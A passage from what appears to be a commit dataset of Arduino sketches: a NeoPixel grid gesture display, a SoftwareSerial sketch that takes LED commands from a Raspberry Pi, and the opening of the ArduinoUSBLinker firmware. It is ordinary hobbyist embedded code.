pixels.Color(5,5,2)); \n }\n pixels.show();\n } else if (g.gestureValue > 70 && g.gestureValue < 96 && circle_count != 3) {\n circle_count = 3;\n \/\/print 3\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) { \n pixels.setPixelColor(2+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(26+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(50+i, pixels.Color(5,5,2));\n pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2));\n pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2)); \n } \n pixels.show();\n } else if (g.gestureValue > 95 && g.gestureValue < 121 && circle_count != 4) {\n circle_count = 4;\n \/\/print 4\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) {\n pixels.setPixelColor(26+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(2+(8*i), pixels.Color(5,5,2));\n pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2)); \n pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2)); \n }\n pixels.show();\n } else if (g.gestureValue > 120 && g.gestureValue < 156 && circle_count != 5) {\n circle_count = 5;\n \/\/print 5\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) {\n pixels.setPixelColor(2+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(26+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(50+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(2+(8*i), pixels.Color(5,5,2));\n pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2)); \n } \n pixels.show();\n } else if (g.gestureValue > 155 && g.gestureValue < 181 && circle_count != 6) {\n circle_count = 6;\n \/\/print 6\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) {\n pixels.setPixelColor(26+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(50+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(2+(8*i), pixels.Color(5,5,2));\n pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2)); \n pixels.setPixelColor(26+(8*i), pixels.Color(5,5,2)); \n }\n pixels.show();\n } else if (g.gestureValue > 180 && g.gestureValue < 206 && circle_count != 7) {\n circle_count = 7;\n \/\/print 7\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) {\n pixels.setPixelColor(2+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2));\n pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2)); \n }\n pixels.show(); \n } else if (g.gestureValue > 205 && g.gestureValue < 231 && circle_count != 8) {\n circle_count = 8;\n \/\/print 8\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) {\n pixels.setPixelColor(2+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(26+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(50+i, pixels.Color(5,5,2)); \n }\n for (int i=0; i< 7; i++) { \n pixels.setPixelColor(2+(i*8), pixels.Color(5,5,2)); \n pixels.setPixelColor(5+(i*8), pixels.Color(5,5,2)); \n }\n pixels.show();\n } else if (g.gestureValue > 230 && g.gestureValue < 256 && circle_count != 9) {\n circle_count = 9;\n \/\/print 9\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) {\n pixels.setPixelColor(2+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(26+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(50+i, pixels.Color(5,5,2));\n pixels.setPixelColor(2+(i*8), pixels.Color(5,5,2)); \n }\n for (int i=0; i< 7; i++) { \n pixels.setPixelColor(5+(i*8), pixels.Color(5,5,2)); \n }\n pixels.show();\n } \n }\n\/*\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Counter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n if ( g.gestureID != 0){\n if ( g.gestureValue == 0x1){\n for (int i = 0; i<10; i++){\n for (int j = 0; j < 4; j++) {\n if (i > 1-j && i < 9-j){\n pixels.setPixelColor(-2+i+(9*j), pixels.Color(0,30,10));\n pixels.setPixelColor(54+i-(7*j), pixels.Color(0,30,10));\n \n } else if (i > 8-j){\n pixels.setPixelColor(7+(j*8), pixels.Color(0,30,10));\n pixels.setPixelColor(63-(j*8), pixels.Color(0,30,10)); \n }\n } \n pixels.show();\n delay(i*9); \n for (int j = 0; j < 4; j++) { \n if (i > 1-j && i < 9-j){\n pixels.setPixelColor(-2+i+(9*j), 0);\n pixels.setPixelColor(54+i-(7*j), 0); \n } else if (i > 8-j){\n pixels.setPixelColor(7+(j*8), 0);\n pixels.setPixelColor(63-(j*8), 0); \n }\n pixels.show(); \n }\n }\n } else if ( g.gestureValue == 0x2) {\n for (int i = 0; i<10; i++){\n for (int j = 0; j < 4; j++) {\n if (i > 1-j && i < 9-j){\n pixels.setPixelColor(9-i+(7*j), pixels.Color(40,0,0));\n pixels.setPixelColor(65-i-(9*j), pixels.Color(40,0,0));\n \n } else if (i > 8-j){\n pixels.setPixelColor(0+(j*8), pixels.Color(40,0,0));\n pixels.setPixelColor(56-(j*8), pixels.Color(40,0,0)); \n }\n } \n pixels.show();\n delay(i*9); \n for (int j = 0; j < 4; j++) { \n if (i > 1-j && i < 9-j){\n pixels.setPixelColor(9-i+(7*j), 0);\n pixels.setPixelColor(65-i-(9*j), 0); \n } else if (i > 8-j){\n pixels.setPixelColor(0+(j*8), 0);\n pixels.setPixelColor(56-(j*8), 0); \n }\n pixels.show(); \n }\n }\n } else if ( g.gestureValue == 0x3) {\n for (int i = 0; i<10; i++){\n for (int j = 0; j < 4; j++) {\n if (i > 1-j && i < 9-j){\n pixels.setPixelColor(72-(i*8)-(j*7), pixels.Color(50,30,00));\n pixels.setPixelColor(79-(i*8)-(j*9), pixels.Color(50,30,00)); \n } else if (i > 8-j){\n pixels.setPixelColor(0+j, pixels.Color(50,30,00));\n pixels.setPixelColor(7-j, pixels.Color(50,30,00)); \n }\n } \n pixels.show();\n delay(i*9); \n for (int j = 0; j < 4; j++) { \n if (i > 1-j && i < 9-j){\n pixels.setPixelColor(72-(i*8)-(j*7), 0);\n pixels.setPixelColor(79-(i*8)-(j*9), 0); \n } else if (i > 8-j){\n pixels.setPixelColor(0+j, 0);\n pixels.setPixelColor(7-j, 0); \n }\n pixels.show(); \n }\n }\n } else if ( g.gestureValue == 0x4) {\n for (int i = 0; i<10; i++){\n for (int j = 0; j < 4; j++) {\n if (i > 1-j && i < 9-j){\n pixels.setPixelColor(-16+(i*8)+(j*9), pixels.Color(0,0,30));\n pixels.setPixelColor(-9+(i*8)+(j*7), pixels.Color(0,0,30)); \n } else if (i > 8-j){\n pixels.setPixelColor(56+j, pixels.Color(0,0,30));\n pixels.setPixelColor(63-j, pixels.Color(0,0,30)); \n }\n } \n pixels.show();\n delay(i*9); \n for (int j = 0; j < 4; j++) { \n if (i > 1-j && i < 9-j){\n pixels.setPixelColor(-16+(i*8)+(j*9), 0);\n pixels.setPixelColor(-9+(i*8)+(j*7), 0); \n } else if (i > 8-j){\n pixels.setPixelColor(56+j, 0);\n pixels.setPixelColor(63-j, 0); \n }\n pixels.show(); \n }\n }\n }\n }\n\n*\/\n\/* \n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Position Example\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n if( (currentMillis - previousMillis > interval)) {\n \n previousMillis = currentMillis;\n if ( !(p.x==0 && p.y==0 && p.x==0) ) { \n \n \/\/ scale raw position coordinates from (0,65535) to (0, 100). Set to 100 by default. Can be changed to any positive value for the desired granularity. \n p.x = map(p.x, 0, 65535, 0, 7);\n p.y = map(p.y, 0, 65535, 0, 7);\n p.z = map(p.z, 0, 65535, 0, 7);\n \n light = (64+(p.x))-(8*(p.y)); \n Serial.println(light);\n \n int r = 0;\n int g = 0;\n int b = 10;\n int a = 4;\n \n for (int i = 0; i<64; i++){\n pixels.setPixelColor(i, pixels.Color(r+(p.z*a),g,b));\n }\n \/\/3 colors\n \/\/1 - 2x2 square. The point we use as center is top right.\n \/\/2 - Surrounding flower petals. 2 on each side of 2x2 square. \n \/\/3 - The rest.\n \n pixels.setPixelColor(light, pixels.Color(r+(p.z*a),g,b+40));\n pixels.setPixelColor(light+8, pixels.Color(r+(p.z*a),g,b+40));\n pixels.setPixelColor(light-8, pixels.Color(r+(p.z*a),g,b+80));\n pixels.setPixelColor(light+16, pixels.Color(r+(p.z*a),g,b+80)); \n \n \/\/make sure we don't go over the edge \n if (light % 8 != 7){\n pixels.setPixelColor(light+1, pixels.Color(r+(p.z*a),g,b+40));\n pixels.setPixelColor(light+9, pixels.Color(r+(p.z*a),g,b+40));\n \n pixels.setPixelColor(light-7, pixels.Color(r+(p.z*a),g,b+80)); \n pixels.setPixelColor(light+17, pixels.Color(r+(p.z*a),g,b+80)); \n }\n if (light % 8 != 7 && light % 8 != 6){\n pixels.setPixelColor(light+2, pixels.Color(r+(p.z*a),g,b+80)); \n pixels.setPixelColor(light+10, pixels.Color(r+(p.z*a),g,b+80)); \n }\n if (light % 8 != 0){\n pixels.setPixelColor(light-1, pixels.Color(r+(p.z*a),g,b+80)); \n pixels.setPixelColor(light+7, pixels.Color(r+(p.z*a),g,b+80)); \n }\n \n pixels.show();\n }\n }\n*\/\n}\n \n\n\/* for(int i=0;i<NUMPIXELS;i++){\n\n \/\/ pixels.Color takes RGB values, from 0,0,0 up to 255,255,255\n pixels.setPixelColor(i, pixels.Color(0,150,0)); \/\/ Moderately bright green color.\n\n pixels.show(); \/\/ This sends the updated pixel color to the hardware.\n\n delay(delayval); \/\/ Delay for a period of time (in milliseconds).\n\n }*\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Hover\/examples\/NeoPixelGrid\/neoPixelGrid.ino' did not match any file(s) known to git\n","license":"unknown","lang":"Arduino"} {"commit":"8e2e056344c8e397dbe2cb28550dd31bc4a92a34","subject":"New sw Serial comunication Arduino to Raspberry","message":"New sw Serial comunication Arduino to Raspberry","repos":"JoaoVictorGordo\/Workshop-Raspberry,simoesusp\/Workshop-Raspberry,JoaoVictorGordo\/Workshop-Raspberry,simoesusp\/Workshop-Raspberry","old_file":"SoftwareArduino\/SoftwareSerialArduinitoRasp\/SoftwareSerialArduinitoRasp.ino","new_file":"SoftwareArduino\/SoftwareSerialArduinitoRasp\/SoftwareSerialArduinitoRasp.ino","new_contents":"\/*\n Software serial receive commands from RaspberryPi and turn led on\n\n Receives from the hardware serial, sends to software serial.\n Receives from software serial, sends to hardware serial.\n stores in vector v the message\n sends message back to RaspberryPi via software serial\n checks if message = command 5 and turn on led for 5 sec\n\n The circuit:\n * RX is digital pin 10 (connect to TX of other device)\n * TX is digital pin 11 (connect to RX of other device)\n \n by Simoes\n based on Tom Igoe and Mikal Hart's example\n*\/\n\n#define trigPin 7\n#define echoPin 8\n#define motorleft 9 \/\/ the pin that the LED is attached to\n\/\/#define motorright 10\n\n\n\n#include <SoftwareSerial.h>\n\nint a, i, j = 0;\nint v[500]; \/\/ maximun message size\n\n\nSoftwareSerial mySerial(10, 11); \/\/ RX, TX\n\nvoid setup()\n{\n pinMode(13, OUTPUT);\n\n\n \/\/ Open hardware serial communications and wait for port to open:\n Serial.begin(9600);\n \n \/\/ set the data rate for the SoftwareSerial port\n mySerial.begin(9600);\n digitalWrite(13, HIGH);\n delay(1000); \/\/ Time to turn motors on with low throtle \n digitalWrite(13, LOW);\n\n\n}\n\nvoid loop() \n{\nif( mySerial.available() )\n {\n while(1)\n {\n \/\/ Receives from software serial, sends to hardware serial.\n a=mySerial.read();\n \/\/Serial.write(a);\n v[i] = a; \/\/ stores in vector v the message\n if(a=='X') break;\n while (mySerial.available()==0); \/\/ Wait for next byte\n i++; \n }\n }\n \/\/ sends message back to RaspberryPi via software serial\n for(j = 0; j < i; j++)\n Serial.write(v[j]);\n \n \n for(j = 0; j < (i-5); j++) \/\/ checks if message = command 5 and turn on led for 5 sec\n {\n \n if(v[j+5]=='1' && v[j+4]==' ' && v[j+3]=='d' && v[j+2]=='n' && v[j+1]=='a' && v[j]=='m')\n {\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n \n Serial.println(\" Liga LED !! \");\n \n delay(1000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n }\n \n } \n i = 0; \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SoftwareArduino\/SoftwareSerialArduinitoRasp\/SoftwareSerialArduinitoRasp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5c48690f22ec6bd9d2848edb3bdb5b86028c1937","subject":"Initial commit","message":"Initial commit\n","repos":"BrianAdams\/openrov-cockpit,BrianAdams\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,spiderkeys\/openrov-cockpit,johan--\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BrianAdams\/openrov-cockpit,johan--\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,OpenROV\/openrov-cockpit,OpenROV\/openrov-cockpit,OpenROV\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,kavi87\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,spiderkeys\/openrov-cockpit,kavi87\/openrov-cockpit,johan--\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,kavi87\/openrov-cockpit,BrianAdams\/openrov-cockpit,kavi87\/openrov-cockpit,johan--\/openrov-cockpit,spiderkeys\/openrov-cockpit,BrianAdams\/openrov-cockpit,spiderkeys\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,kavi87\/openrov-cockpit,spiderkeys\/openrov-cockpit,johan--\/openrov-cockpit","old_file":"arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino","new_file":"arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino","new_contents":"\/*\nCopyright (C) 2012-2013 Chris Osgood <chris at luadev.com>\n\nThis program is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU General Public License\nversion 2 as published by the Free Software Foundation. No\nother versions are acceptable.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n02110-1301, USA.\n*\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Check for MultiWii\n#if defined(MSP_VERSION)\n #define MULTIWII\n#else\n #include <EEPROM.h>\n#endif\n\n#define AUL_SERIALRATE 19200\n\n#define AUL_MIN_BITTIME 4\n#define AUL_MAX_BITTIME 136\n#define AUL_DEFAULT_BITTIME 32\n\n#define AUL_MICROS_TO_TICKS(x) ((x) * (F_CPU \/ 1000000) \/ g_timerScale)\n#define AUL_MICROS_TO_TICKS_R(x) ((x) * g_timerScale \/ (F_CPU \/ 1000000))\n\n#if defined(__AVR_ATmega8__)\n#define AUL_SET_TIMER_MODE TCCR2 = g_timerConfig\n#else\n#define AUL_SET_TIMER_MODE TCCR2B = g_timerConfig\n#endif\n\n\/\/ Default PD2\/INT0\n#define AUL_DEFAULT_PIN 18\n\n#define AUL_BUFSIZE 300\n\n#define AUL_SERIALTIMEOUT ((F_CPU >> 7) \/ (9600 >> 4))\n\n#define AUL_PININPUT ((*g_signalDDR) &= ~(g_signalPinPortNum))\n#define AUL_PINOUTPUT ((*g_signalDDR) |= (g_signalPinPortNum))\n#define AUL_PINHIGH ((*g_signalPORT) |= (g_signalPinPortNum))\n#define AUL_PINLOW ((*g_signalPORT) &= ~(g_signalPinPortNum))\n\n#define AUL_PINREAD ((*g_signalPIN) & (g_signalPinPortNum))\n\n#define AUL_DELAYTICKS(x) \\\n TCNT2 = 0; \\\n while (TCNT2 < (x));\n\n#if defined(__AVR_ATmega8__)\n#define AUL_SYNC_PRESCALER \\\n SFIOR = (1 << PSR2); \\\n while (SFIOR & (1 << PSR2));\n#else\n#define AUL_SYNC_PRESCALER \\\n GTCCR = (1 << PSRASY); \\\n while (GTCCR & (1 << PSRASY));\n#endif\n\n\/\/ Save space on MultWii since baud rate changes are not supported and it is the\n\/\/ only thing that requires a value greater than uint8\n#if defined(MULTIWII)\n #define AUL_ASCII_INT_TYPE uint8_t\n#else\n #define AUL_ASCII_INT_TYPE uint32_t\n#endif\n\n#define AUL_EEPROM_PIN 4\n#define AUL_EEPROM_BITTIME 5\n#define AUL_EEPROM_BAUD 6\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Globals\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic uint8_t g_timerConfig;\nstatic uint16_t g_timerScale;\n\n\/\/ Approximate microseconds for each bit when sending\nstatic uint8_t g_bitTimeSend;\nstatic uint8_t g_bitTimeSendHalf;\n\n\/\/ Calculated leader timing for receive\nstatic uint8_t g_bitTime, g_shortBitTime;\n\nstatic volatile uint8_t* g_signalDDR;\nstatic volatile uint8_t* g_signalPORT;\nstatic volatile uint8_t* g_signalPIN;\nstatic int8_t g_signalPinPortNum, g_signalPinNum;\n\n#if defined(MULTIWII)\nstatic uint32_t g_baudRate = 0;\n#else\nstatic uint32_t g_baudRate = AUL_SERIALRATE;\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ stdlib type utility functions (mostly to save space)\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ int to ASCII base 10\n\/\/ Returns the address of the null terminator\nstatic char* AUL_itoa(AUL_ASCII_INT_TYPE n, char *b)\n{\n uint8_t i = 0, s;\n \n do {\n s = n % 10;\n n = n \/ 10;\n b[i++] = '0' + s;\n } while (n > 0);\n\n b[i] = '\\0';\n \n strrev(b);\n \n return &b[i];\n}\n\n\/\/ ASCII to int base 10\nstatic AUL_ASCII_INT_TYPE AUL_atoi(const char* s)\n{\n AUL_ASCII_INT_TYPE b = 0;\n while (*s) b = (b << 3) + (b << 1) + (*s++ - '0');\n return(b);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Serial port. MultiWii helpers.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if !defined(MULTIWII)\n\n#define AUL_SerialInit(x) Serial.begin(g_baudRate)\n#define AUL_SerialAvailable() Serial.available()\n#define AUL_SerialRead() Serial.read()\n#define AUL_SerialWrite(x) Serial.write(x)\n#define AUL_SerialWriteBuf(x,y) Serial.write(x,y)\n#define AUL_SerialWriteStr(x) Serial.write((const char*)x)\n\n#else \/\/ MULTIWII\n\nstatic volatile uint8_t* g_serialUCSRA;\nstatic volatile uint8_t* g_serialUDR;\nstatic uint8_t g_serialRXC, g_serialUDRE;\n\nstatic void AUL_SerialInit(uint8_t port)\n{\n #define AUL_INIT_PORT(x) \\\n UCSR##x##C = (1 << UCSZ##x##1) | (1 << UCSZ##x##0); \\\n UCSR##x##B = (1 << RXEN##x) | (1 << TXEN##x); \\\n g_serialUCSRA = &UCSR##x##A; \\\n g_serialUDR = &UDR##x; \\\n g_serialRXC = (1 << RXC##x); \\\n g_serialUDRE = (1 << UDRE##x);\n \n switch (port)\n {\n case 0:\n AUL_INIT_PORT(0)\n break;\n #if defined(UBRR1H)\n case 1:\n AUL_INIT_PORT(1)\n break;\n #endif\n #if defined(UBRR2H)\n case 2:\n AUL_INIT_PORT(2)\n break;\n #endif\n #if defined(UBRR3H)\n case 3:\n AUL_INIT_PORT(3)\n break;\n #endif\n #if defined(UBRR4H)\n case 4:\n AUL_INIT_PORT(4)\n break;\n #endif\n default:\n break;\n }\n}\n\n#define AUL_SerialAvailable() \\\n ((*g_serialUCSRA) & g_serialRXC)\n\n#define AUL_SerialRead() \\\n (*g_serialUDR)\n\n#define AUL_SerialWrite(x) \\\n { while (!((*g_serialUCSRA) & g_serialUDRE)); (*g_serialUDR) = (x); }\n\nstatic void AUL_SerialWriteBuf(const uint8_t* b, int16_t len)\n{\n int16_t i;\n for (i = 0; i < len; i++)\n AUL_SerialWrite(b[i]);\n}\n\nstatic void AUL_SerialWriteStr(const char* b)\n{\n int16_t i;\n for (i = 0; b[i] != '\\0'; i++)\n AUL_SerialWrite(b[i]);\n}\n\n#endif \/\/ MULTIWII\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Clear all timers and PWM settings\nstatic void DisableAllTimers()\n{\n #define AUL_RESET_PORT(x) \\\n TCCR##x##B = 0; \\\n TCCR##x##A = 0;\n\n \/\/ For mega8 and similar\n #if defined(TCCR0)\n TCCR0 = 0;\n #endif\n #if defined(TCCR1)\n TCCR1 = 0;\n #endif\n #if defined(TCCR2)\n TCCR2 = 0;\n #endif\n \n #if defined(TCCR0B)\n AUL_RESET_PORT(0)\n #endif\n #if defined(TCCR1B)\n AUL_RESET_PORT(1)\n #endif\n #if defined(TCCR2B)\n AUL_RESET_PORT(2)\n #endif\n #if defined(TCCR3B)\n AUL_RESET_PORT(3)\n #endif\n #if defined(TCCR4B)\n AUL_RESET_PORT(4)\n #endif\n #if defined(TCCR5B)\n AUL_RESET_PORT(5)\n #endif\n #if defined(TCCR6B)\n AUL_RESET_PORT(6)\n #endif\n}\n\nstatic void SignalPinStatus(char* buf)\n{\n #define AUL_WRITE_PORT_INFO(x) \\\n *pos++ = #x[0]; \\\n pos = AUL_itoa(pincnt, pos); \\\n *pos++ = ':'; \\\n pincnt += 8;\n\n char* pos = buf;\n int8_t pincnt = 0;\n\n pos[0] = 'P';\n pos[1] = 'I';\n pos[2] = 'N';\n pos[3] = 'S';\n pos[4] = ':';\n pos += 5;\n \n #if defined(PORTB)\n AUL_WRITE_PORT_INFO(B)\n #endif\n #if defined(PORTC)\n AUL_WRITE_PORT_INFO(C)\n #endif\n #if defined(PORTD)\n AUL_WRITE_PORT_INFO(D)\n #endif\n #if defined(PORTE)\n AUL_WRITE_PORT_INFO(E)\n #endif\n #if defined(PORTF)\n AUL_WRITE_PORT_INFO(F)\n #endif\n #if defined(PORTG)\n AUL_WRITE_PORT_INFO(G)\n #endif\n #if defined(PORTH)\n AUL_WRITE_PORT_INFO(H)\n #endif\n #if defined(PORTI)\n 